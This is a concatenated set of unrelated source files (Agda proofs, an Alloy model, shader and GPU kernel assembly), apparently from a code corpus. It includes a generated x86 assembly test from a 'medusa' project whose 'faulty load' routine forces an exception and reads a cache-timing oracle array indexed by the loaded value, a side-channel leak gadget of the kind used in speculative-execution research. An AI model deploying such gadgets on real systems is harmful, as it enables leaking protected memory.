/// exponent ::= ("e" | "E") ["+" | "-"] digit+
fragment EXPONENT
: [eE] [+-]? DIGIT+
;
fragment SIGN
: ('+' | '-')
;
|
archive/agda-3/src/Oscar/Class/Hmap/Transleftidentity.agda | m0davis/oscar | 0 | 9159 | <reponame>m0davis/oscar
open import Oscar.Prelude
open import Oscar.Class
open import Oscar.Class.Transitivity
open import Oscar.Class.Reflexivity
open import Oscar.Class.Transleftidentity
open import Oscar.Class.Transrightidentity
open import Oscar.Class.Symmetry
open import Oscar.Class.Hmap
open import Oscar.Class.Leftunit
module Oscar.Class.Hmap.Transleftidentity where
instance
Relprop'idFromTransleftidentity : ∀
{𝔵} {𝔛 : Ø 𝔵}
{𝔞} {𝔄 : 𝔛 → Ø 𝔞}
{𝔟} {𝔅 : 𝔛 → Ø 𝔟}
(let _∼_ = Arrow 𝔄 𝔅)
{ℓ̇} {_∼̇_ : ∀ {x y} → x ∼ y → x ∼ y → Ø ℓ̇}
{transitivity : Transitivity.type _∼_}
{reflexivity : Reflexivity.type _∼_}
{ℓ}
⦃ _ : Transleftidentity.class _∼_ _∼̇_ reflexivity transitivity ⦄
⦃ _ : ∀ {x y} → Symmetry.class (_∼̇_ {x} {y}) ⦄
→ ∀ {m n}
→ Hmap.class (λ (f : m ∼ n) (P : LeftExtensionṖroperty ℓ _∼_ _∼̇_ m) → π₀ (π₀ P) f)
(λ f P → π₀ (π₀ P) (transitivity f reflexivity))
Relprop'idFromTransleftidentity .⋆ _ (_ , P₁) = P₁ $ symmetry transleftidentity
|
test/Succeed/Issue1407.agda | shlevy/agda | 1,989 | 10551 | -- Andreas, 2015-10-28 Issue 1407
-- (Issue 1023 raised its ugly head again!)
{-# OPTIONS -v term.with.inline:30 #-} --KEEP! Triggered bug on agda-2.4.2.5.
-- {-# OPTIONS -v term.with.inline:70 #-}
-- {-# OPTIONS -v tc.with.display:30 #-}
record _×_ (A B : Set) : Set where
constructor pair
field fst : A
snd : B
open _×_
data Unit : Set where
unit : Unit
data List (A : Set) : Set where
_∷_ : A → List A → List A
map : ∀ A B → (A → B) → List A → List B
map A B f (x ∷ xs) = f x ∷ map A B f xs
record Setoid : Set₁ where
field Carrier : Set
open Setoid
module Assoc (Key : Setoid) (_ : Set) where -- FAILS
-- module Assoc (_ : Set) (Key : Setoid) where -- WORKS
data _∈_ (x : Carrier Key) : List (Carrier Key) → Set where
here : ∀ xs → Unit → x ∈ xs
there : ∀ {xs} → x ∈ xs
postulate
foo : Carrier Key → Carrier Key → Unit
lem : (p : Carrier Key × Unit)
→ (ps : List (Carrier Key × Unit))
→ fst p ∈ map (Carrier Key × Unit) (Carrier Key) fst ps
→ Set
lem (pair k v) ((pair k' v') ∷ ps) (here .(k' ∷ map (Carrier Key × Unit) (Carrier Key) fst ps) u) with foo k k'
... | unit = Unit
lem p (_ ∷ ps) there = lem p ps there -- to force termination checking
-- 7 6 5 4 3 2 1 7 0
-- lem Key _ (pair k v) (pair k' v') ∷ ps) (here .(...Key...) u)
-- 8 7 6 5 4 3 2 1 0
-- lem-with Key _ k k' (w = unit) v v' ps u = Unit
{-
inlinedClauses (raw)
QNamed {qname = Issue1407.Assoc.lem, qnamed = Clause
{ clauseRange = /home/abel/agda/test/bugs/Issue1407.agda:40,3-13
, clauseTel =
ExtendTel (Def Issue1407.Setoid []) (Abs "Key"
ExtendTel (Sort (Type (Max []))) (Abs "_"
ExtendTel (Var 1 [Proj Issue1407.Setoid.Carrier]}) (Abs "k"
ExtendTel (Var 2 [Proj Issue1407.Setoid.Carrier]}) (Abs "k'"
ExtendTel (Def Issue1407.Unit []}) (Abs "v"
ExtendTel (Def Issue1407.Unit []}) (Abs "v'"
ExtendTel (Def Issue1407.List [Apply []r(Def Issue1407._×_ [Apply []r(Var 5 [Proj Issue1407.Setoid.Carrier]),Apply []r(Def Issue1407.Unit [])])]}) (Abs "ps"
ExtendTel (Def Issue1407.Unit []}) (Abs "u"
EmptyTel))))))))
, clausePerm = x0,x1,x2,x3,x4,x5,x6,x7,x8 -> x0,x1,x2,x4,x3,x5,x6,x8
, namedClausePats =
[[]r(VarP "Key")
,[]r(VarP "x")
,[]r(ConP Issue1407._×_._,_(inductive)[Issue1407._×_.fst,Issue1407._×_.snd] (ConPatternInfo {conPRecord = Nothing, conPType = Nothing}) [[]r(VarP "k"),[]r(VarP "v")])
,[]r(ConP Issue1407.List._∷_(inductive)[] (ConPatternInfo {conPRecord = Nothing, conPType = Nothing}) [[]r(ConP Issue1407._×_._,_(inductive)[Issue1407._×_.fst,Issue1407._×_.snd] (ConPatternInfo {conPRecord = Nothing, conPType = Nothing}) [[]r(VarP "k'"),[]r(VarP "v'")]),[]r(VarP "ps")])
,[]r(ConP Issue1407.Assoc._∈_.here(inductive)[] (ConPatternInfo {conPRecord = Nothing, conPType = Nothing})
[[]r{DotP (Con Issue1407.List._∷_(inductive)[]
[[]r(Var 4 [])
,[]r(Def Issue1407.map
[Apply []r{Def Issue1407._×_ [Apply []r(Def Issue1407.Assoc._.Carrier [Apply []r(Con Issue1407.Unit.unit(inductive)[] []),Apply []r(Var 3 [])])
,Apply []r(Def Issue1407.Unit [])]}
,Apply []r{Def Issue1407.Assoc._.Carrier [Apply []r(Con Issue1407.Unit.unit(inductive)[] [])
,Apply []r(Var 3 [])]}
,Apply []r(Lam (ArgInfo {argInfoHiding = NotHidden, argInfoRelevance = Relevant, argInfoColors = []}) (Abs "r" Var 0 [Proj Issue1407._×_.fst]))
,Apply []r(Var 1 [])
])
])}
,[]r(VarP "u")
])
,[]r(ConP Issue1407.Unit.unit(inductive)[] (ConPatternInfo {conPRecord = Nothing, conPType = Nothing}) [])
]
, clauseBody = Bind (Abs "h8" Bind (Abs "h7" Bind (Abs "h6" Bind (Abs "h5" Bind (Abs "h4" Bind (Abs "h3" Bind (Abs "h2" Bind (Abs "h1" Bind (Abs "h0" Body (Def Issue1407.Unit [])))))))))), clauseType = Nothing}}
-}
|
alloy4fun_models/trashltl/models/10/ktW8jgNTLn5AyEWjL.als | Kaixi26/org.alloytools.alloy | 0 | 89 | <reponame>Kaixi26/org.alloytools.alloy
open main
pred idktW8jgNTLn5AyEWjL_prop11 {
all f : File - Protected | f in Protected'
}
pred __repair { idktW8jgNTLn5AyEWjL_prop11 }
check __repair { idktW8jgNTLn5AyEWjL_prop11 <=> prop11o } |
src/PJ/rexlib/mathlib/highc387.asm | AnimatorPro/Animator-Pro | 119 | 16371 | CGROUP group code
code segment dword 'CODE'
assume cs:CGROUP,ds:CGROUP
code ends
_BSS SEGMENT PUBLIC DWORD USE32 'BSS'
public _mw87_used
public _mw387_used
ORG 00000000H
_mw87_used LABEL BYTE
_mw387_used LABEL BYTE
ORG 00000004H
_BSS ENDS
end
|
coverage/IN_CTS/491-COVERAGE-nir-loop-analyze-838/work/variant/1_spirv_asm/shader.frag.asm | asuonpaa/ShaderTests | 0 | 14290 | ; SPIR-V
; Version: 1.0
; Generator: Khronos Glslang Reference Front End; 10
; Bound: 108
; Schema: 0
OpCapability Shader
%1 = OpExtInstImport "GLSL.std.450"
OpMemoryModel Logical GLSL450
OpEntryPoint Fragment %4 "main" %89
OpExecutionMode %4 OriginUpperLeft
OpSource ESSL 320
OpName %4 "main"
OpName %11 "arr"
OpName %14 "buf0"
OpMemberName %14 0 "_GLF_uniform_int_values"
OpName %16 ""
OpName %30 "index"
OpName %89 "_GLF_color"
OpDecorate %13 ArrayStride 16
OpMemberDecorate %14 0 Offset 0
OpDecorate %14 Block
OpDecorate %16 DescriptorSet 0
OpDecorate %16 Binding 0
OpDecorate %89 Location 0
%2 = OpTypeVoid
%3 = OpTypeFunction %2
%6 = OpTypeInt 32 1
%7 = OpTypeInt 32 0
%8 = OpConstant %7 3
%9 = OpTypeArray %6 %8
%10 = OpTypePointer Function %9
%12 = OpConstant %7 6
%13 = OpTypeArray %6 %12
%14 = OpTypeStruct %13
%15 = OpTypePointer Uniform %14
%16 = OpVariable %15 Uniform
%17 = OpConstant %6 0
%18 = OpConstant %6 3
%19 = OpTypePointer Uniform %6
%22 = OpConstant %6 5
%25 = OpConstant %6 2
%29 = OpTypePointer Function %6
%31 = OpConstant %6 1
%37 = OpTypeBool
%38 = OpConstantTrue %37
%69 = OpConstant %6 4
%86 = OpTypeFloat 32
%87 = OpTypeVector %86 4
%88 = OpTypePointer Output %87
%89 = OpVariable %88 Output
%4 = OpFunction %2 None %3
%5 = OpLabel
%11 = OpVariable %10 Function
%30 = OpVariable %29 Function
%20 = OpAccessChain %19 %16 %17 %18
%21 = OpLoad %6 %20
%23 = OpAccessChain %19 %16 %17 %22
%24 = OpLoad %6 %23
%26 = OpAccessChain %19 %16 %17 %25
%27 = OpLoad %6 %26
%28 = OpCompositeConstruct %9 %21 %24 %27
OpStore %11 %28
OpStore %30 %31
OpBranch %32
%32 = OpLabel
OpLoopMerge %34 %35 None
OpBranch %36
%36 = OpLabel
OpSelectionMerge %40 None
OpBranchConditional %38 %39 %40
%39 = OpLabel
%41 = OpAccessChain %19 %16 %17 %17
%42 = OpLoad %6 %41
%43 = OpIEqual %37 %42 %31
%44 = OpLoad %6 %30
%45 = OpSLessThanEqual %37 %44 %31
%46 = OpLogicalAnd %37 %43 %45
%47 = OpLogicalNot %37 %46
OpBranch %40
%40 = OpLabel
%48 = OpPhi %37 %38 %36 %47 %39
%49 = OpLogicalNot %37 %48
OpBranchConditional %49 %33 %34
%33 = OpLabel
%50 = OpLoad %6 %30
%51 = OpAccessChain %29 %11 %50
%52 = OpLoad %6 %51
%53 = OpIAdd %6 %52 %31
OpStore %51 %53
%54 = OpLoad %6 %30
%55 = OpIAdd %6 %54 %31
OpStore %30 %55
OpBranch %35
%35 = OpLabel
OpBranch %32
%34 = OpLabel
%56 = OpAccessChain %19 %16 %17 %31
%57 = OpLoad %6 %56
%58 = OpAccessChain %29 %11 %57
%59 = OpLoad %6 %58
%60 = OpAccessChain %19 %16 %17 %18
%61 = OpLoad %6 %60
%62 = OpIEqual %37 %59 %61
OpSelectionMerge %64 None
OpBranchConditional %62 %63 %64
%63 = OpLabel
%65 = OpAccessChain %19 %16 %17 %17
%66 = OpLoad %6 %65
%67 = OpAccessChain %29 %11 %66
%68 = OpLoad %6 %67
%70 = OpAccessChain %19 %16 %17 %69
%71 = OpLoad %6 %70
%72 = OpIEqual %37 %68 %71
OpBranch %64
%64 = OpLabel
%73 = OpPhi %37 %62 %34 %72 %63
OpSelectionMerge %75 None
OpBranchConditional %73 %74 %75
%74 = OpLabel
%76 = OpAccessChain %19 %16 %17 %18
%77 = OpLoad %6 %76
%78 = OpAccessChain %29 %11 %77
%79 = OpLoad %6 %78
%80 = OpAccessChain %19 %16 %17 %25
%81 = OpLoad %6 %80
%82 = OpIEqual %37 %79 %81
OpBranch %75
%75 = OpLabel
%83 = OpPhi %37 %73 %64 %82 %74
OpSelectionMerge %85 None
OpBranchConditional %83 %84 %103
%84 = OpLabel
%90 = OpAccessChain %19 %16 %17 %17
%91 = OpLoad %6 %90
%92 = OpConvertSToF %86 %91
%93 = OpAccessChain %19 %16 %17 %31
%94 = OpLoad %6 %93
%95 = OpConvertSToF %86 %94
%96 = OpAccessChain %19 %16 %17 %31
%97 = OpLoad %6 %96
%98 = OpConvertSToF %86 %97
%99 = OpAccessChain %19 %16 %17 %17
%100 = OpLoad %6 %99
%101 = OpConvertSToF %86 %100
%102 = OpCompositeConstruct %87 %92 %95 %98 %101
OpStore %89 %102
OpBranch %85
%103 = OpLabel
%104 = OpAccessChain %19 %16 %17 %31
%105 = OpLoad %6 %104
%106 = OpConvertSToF %86 %105
%107 = OpCompositeConstruct %87 %106 %106 %106 %106
OpStore %89 %107
OpBranch %85
%85 = OpLabel
OpReturn
OpFunctionEnd
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21558_719.asm | ljhsiun2/medusa | 9 | 179859 | <filename>Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21558_719.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r15
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0xfb4, %r11
nop
nop
mfence
vmovups (%r11), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $1, %xmm6, %rsi
nop
nop
nop
nop
add $28693, %rbx
lea addresses_UC_ht+0xeaa8, %rax
cmp %r11, %r11
movw $0x6162, (%rax)
nop
nop
nop
nop
nop
and $41680, %rsi
lea addresses_UC_ht+0x1aef4, %rax
nop
xor %r15, %r15
movb $0x61, (%rax)
xor %rsi, %rsi
lea addresses_WT_ht+0x1c6f4, %rax
nop
nop
add %r14, %r14
vmovups (%rax), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $0, %xmm0, %r11
nop
nop
nop
nop
xor %r14, %r14
lea addresses_WT_ht+0x6f34, %rsi
lea addresses_UC_ht+0x98f4, %rdi
nop
nop
sub %r11, %r11
mov $32, %rcx
rep movsq
nop
nop
nop
nop
cmp %r14, %r14
lea addresses_WC_ht+0x14bf4, %rax
nop
nop
nop
nop
and $32791, %rdi
mov (%rax), %r14d
nop
nop
nop
nop
nop
xor %rbx, %rbx
lea addresses_A_ht+0x2c04, %rsi
nop
nop
nop
nop
nop
cmp %r14, %r14
vmovups (%rsi), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $1, %xmm5, %rax
nop
nop
nop
nop
xor %rdi, %rdi
lea addresses_WC_ht+0x7754, %r11
dec %rax
movups (%r11), %xmm3
vpextrq $0, %xmm3, %rdi
nop
nop
nop
add $65008, %r15
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r15
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r9
push %rax
push %rcx
push %rdi
push %rsi
// Store
lea addresses_D+0x5334, %r12
nop
nop
nop
cmp $11710, %r10
movb $0x51, (%r12)
nop
nop
nop
nop
nop
add $13715, %rcx
// Store
lea addresses_RW+0xca74, %r12
nop
nop
nop
nop
nop
and %rsi, %rsi
movb $0x51, (%r12)
nop
nop
nop
nop
nop
sub $24263, %rdi
// Store
mov $0x5a054f00000003ef, %r10
nop
nop
nop
nop
nop
and $7475, %rsi
mov $0x5152535455565758, %rax
movq %rax, %xmm5
movups %xmm5, (%r10)
xor %r12, %r12
// Store
lea addresses_WC+0x1ca74, %rcx
nop
nop
nop
nop
nop
dec %rax
movw $0x5152, (%rcx)
nop
nop
nop
nop
add %r10, %r10
// Store
mov $0x7111b60000000864, %r9
clflush (%r9)
nop
nop
nop
nop
cmp %r10, %r10
movb $0x51, (%r9)
nop
nop
nop
nop
sub %rcx, %rcx
// Store
lea addresses_A+0x148f4, %rcx
nop
nop
add %rax, %rax
movl $0x51525354, (%rcx)
nop
nop
cmp %r12, %r12
// Store
lea addresses_A+0x14d74, %rax
nop
nop
nop
nop
dec %rsi
mov $0x5152535455565758, %rdi
movq %rdi, %xmm3
movups %xmm3, (%rax)
nop
nop
sub $27877, %r9
// Store
lea addresses_D+0x11d74, %rax
nop
and $7419, %r9
movb $0x51, (%rax)
// Exception!!!
mov (0), %r10
nop
nop
cmp $22702, %rax
// Load
lea addresses_A+0xe698, %r10
nop
xor $53173, %r12
movups (%r10), %xmm7
vpextrq $0, %xmm7, %rcx
nop
nop
nop
nop
nop
sub %r12, %r12
// Faulty Load
lea addresses_normal+0x17ef4, %rcx
nop
nop
nop
xor $46544, %r9
mov (%rcx), %rax
lea oracles, %r10
and $0xff, %rax
shlq $12, %rax
mov (%r10,%rax,1), %rax
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_normal', 'same': False, 'size': 8, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D', 'same': False, 'size': 1, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_RW', 'same': False, 'size': 1, 'congruent': 6, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_NC', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC', 'same': False, 'size': 2, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_NC', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 4, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 16, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D', 'same': False, 'size': 1, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A', 'same': False, 'size': 16, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_normal', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_UC_ht', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 1, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 4, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 32, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'34': 21558}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
src/intel/tools/tests/gen4/shr.asm | SoftReaper/Mesa-Renoir-deb | 0 | 98260 | <reponame>SoftReaper/Mesa-Renoir-deb
shr(1) g12.4<1>UD g12.4<0,1,0>UD 0x00000004UD { align1 nomask };
|
media_driver/agnostic/gen11_icllp/vp/kernel_free/Source/Save_444Scale16_R10G10B10XRA2.asm | lacc97/media-driver | 660 | 8830 | <gh_stars>100-1000
/*
* Copyright (c) 2017, Intel Corporation
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
* OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
* ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*/
L0:
and (16|M0) (ne)f0.0 null.0<1>:w r2.3<0;1,0>:uw 1:w
add (4|M0) a0.0<1>:w r22.0<4;4,1>:w 0x0:uw {AccWrEn}
(f0.0) mov (1|M0) r17.0<1>:uw a0.0<0;1,0>:uw
(f0.0) mov (1|M0) a0.0<1>:uw a0.2<0;1,0>:uw
(f0.0) mov (1|M0) a0.2<1>:uw r17.0<0;1,0>:uw
mov (8|M0) r27.0<1>:ud r0.0<8;8,1>:ud
shl (2|M0) r27.0<1>:d r7.0<2;2,1>:w 0x2:v
mov (1|M0) r27.2<1>:ud 0xF000F:ud
add (4|M0) a0.4<1>:w a0.0<4;4,1>:w r22.8<0;2,1>:w
mov (8|M0) r28.0<1>:ud r27.0<8;8,1>:ud
mov (8|M0) r37.0<1>:ud r27.0<8;8,1>:ud
mov (8|M0) r46.0<1>:ud r27.0<8;8,1>:ud
mov (8|M0) r55.0<1>:ud r27.0<8;8,1>:ud
add (1|M0) r37.0<1>:d r27.0<0;1,0>:d 16:d
add (1|M0) r46.0<1>:d r27.0<0;1,0>:d 32:d
add (1|M0) r55.0<1>:d r27.0<0;1,0>:d 48:d
add (16|M0) (sat)r[a0.0]<1>:uw r[a0.0]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.0,32]<1>:uw r[a0.0,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.4]<1>:uw r[a0.4]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.4,32]<1>:uw r[a0.4,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.1]<1>:uw r[a0.1]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.1,32]<1>:uw r[a0.1,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.5]<1>:uw r[a0.5]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.5,32]<1>:uw r[a0.5,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.2]<1>:uw r[a0.2]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.2,32]<1>:uw r[a0.2,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.6]<1>:uw r[a0.6]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.6,32]<1>:uw r[a0.6,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.3]<1>:uw r[a0.3]<16;16,1>:uw 0x2000:uw
add (16|M0) (sat)r[a0.3,32]<1>:uw r[a0.3,32]<16;16,1>:uw 0x2000:uw
add (16|M0) (sat)r[a0.7]<1>:uw r[a0.7]<16;16,1>:uw 0x2000:uw
add (16|M0) (sat)r[a0.7,32]<1>:uw r[a0.7,32]<16;16,1>:uw 0x2000:uw
mov (8|M0) r29.0<1>:ud 0x401004:ud
shr (8|M0) r29.3<4>:ub r[a0.3,1]<16;4,2>:ub 0x6:uw
shl (8|M0) r29.0<1>:ud r29.0<8;8,1>:ud 0x2:ud
mov (8|M0) r29.2<4>:ub r[a0.2,1]<16;4,2>:ub
shl (8|M0) r29.0<1>:ud r29.0<8;8,1>:ud 0x2:ud
mov (8|M0) r29.1<4>:ub r[a0.1,1]<16;4,2>:ub
shl (8|M0) r29.0<1>:ud r29.0<8;8,1>:ud 0x2:ud
mov (8|M0) r29.0<4>:ub r[a0.0,1]<16;4,2>:ub
mov (8|M0) r30.0<1>:ud 0x401004:ud
shr (8|M0) r30.3<4>:ub r[a0.3,33]<16;4,2>:ub 0x6:uw
shl (8|M0) r30.0<1>:ud r30.0<8;8,1>:ud 0x2:ud
mov (8|M0) r30.2<4>:ub r[a0.2,33]<16;4,2>:ub
shl (8|M0) r30.0<1>:ud r30.0<8;8,1>:ud 0x2:ud
mov (8|M0) r30.1<4>:ub r[a0.1,33]<16;4,2>:ub
shl (8|M0) r30.0<1>:ud r30.0<8;8,1>:ud 0x2:ud
mov (8|M0) r30.0<4>:ub r[a0.0,33]<16;4,2>:ub
mov (8|M0) r38.0<1>:ud 0x401004:ud
shr (8|M0) r38.3<4>:ub r[a0.3,9]<16;4,2>:ub 0x6:uw
shl (8|M0) r38.0<1>:ud r38.0<8;8,1>:ud 0x2:ud
mov (8|M0) r38.2<4>:ub r[a0.2,9]<16;4,2>:ub
shl (8|M0) r38.0<1>:ud r38.0<8;8,1>:ud 0x2:ud
mov (8|M0) r38.1<4>:ub r[a0.1,9]<16;4,2>:ub
shl (8|M0) r38.0<1>:ud r38.0<8;8,1>:ud 0x2:ud
mov (8|M0) r38.0<4>:ub r[a0.0,9]<16;4,2>:ub
mov (8|M0) r39.0<1>:ud 0x401004:ud
shr (8|M0) r39.3<4>:ub r[a0.3,41]<16;4,2>:ub 0x6:uw
shl (8|M0) r39.0<1>:ud r39.0<8;8,1>:ud 0x2:ud
mov (8|M0) r39.2<4>:ub r[a0.2,41]<16;4,2>:ub
shl (8|M0) r39.0<1>:ud r39.0<8;8,1>:ud 0x2:ud
mov (8|M0) r39.1<4>:ub r[a0.1,41]<16;4,2>:ub
shl (8|M0) r39.0<1>:ud r39.0<8;8,1>:ud 0x2:ud
mov (8|M0) r39.0<4>:ub r[a0.0,41]<16;4,2>:ub
add (4|M0) a0.0<1>:w a0.0<4;4,1>:w 0x200:uw
mov (8|M0) r47.0<1>:ud 0x401004:ud
shr (8|M0) r47.3<4>:ub r[a0.7,1]<16;4,2>:ub 0x6:uw
shl (8|M0) r47.0<1>:ud r47.0<8;8,1>:ud 0x2:ud
mov (8|M0) r47.2<4>:ub r[a0.6,1]<16;4,2>:ub
shl (8|M0) r47.0<1>:ud r47.0<8;8,1>:ud 0x2:ud
mov (8|M0) r47.1<4>:ub r[a0.5,1]<16;4,2>:ub
